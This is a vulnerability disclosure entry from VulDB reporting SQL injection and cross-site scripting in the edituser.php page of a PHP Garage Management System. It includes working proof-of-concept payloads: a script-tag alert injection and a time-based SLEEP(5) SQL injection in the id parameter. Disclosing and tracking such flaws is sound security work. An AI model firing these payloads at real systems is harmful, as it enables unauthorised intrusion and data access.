Submit #42784: Garage Management System SQL injection exists
| Title | Garage Management System SQL injection exists |
|---|---|
| Description | This is the download address of this management system: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html http://192.168.0.17/edituser.php?id=1 edituser.php has SQL injection vulnerability and XSS vulnerability http://192.168.0.17/edituser.php?id=1\"><ScRiPt>alert(1)</sCrIpT> This will pop up a box indicating the existence of XSS vulnerability http://192.168.0.17/edituser.php?id=1' AND (SELECT 8940 FROM (SELECT(SLEEP(5)))OrTm) AND 'Sjdt'='Sjdt Use this payload to verify whether there are SQL injection vulnerabilities |
| Submission | 03/08/2022 19:01 (2 years ago) |
| Moderation | 04/08/2022 08:08 (13 hours later) |
| Accepted | تمت الموافقة |
| VulDB Entry | VDB-205573 |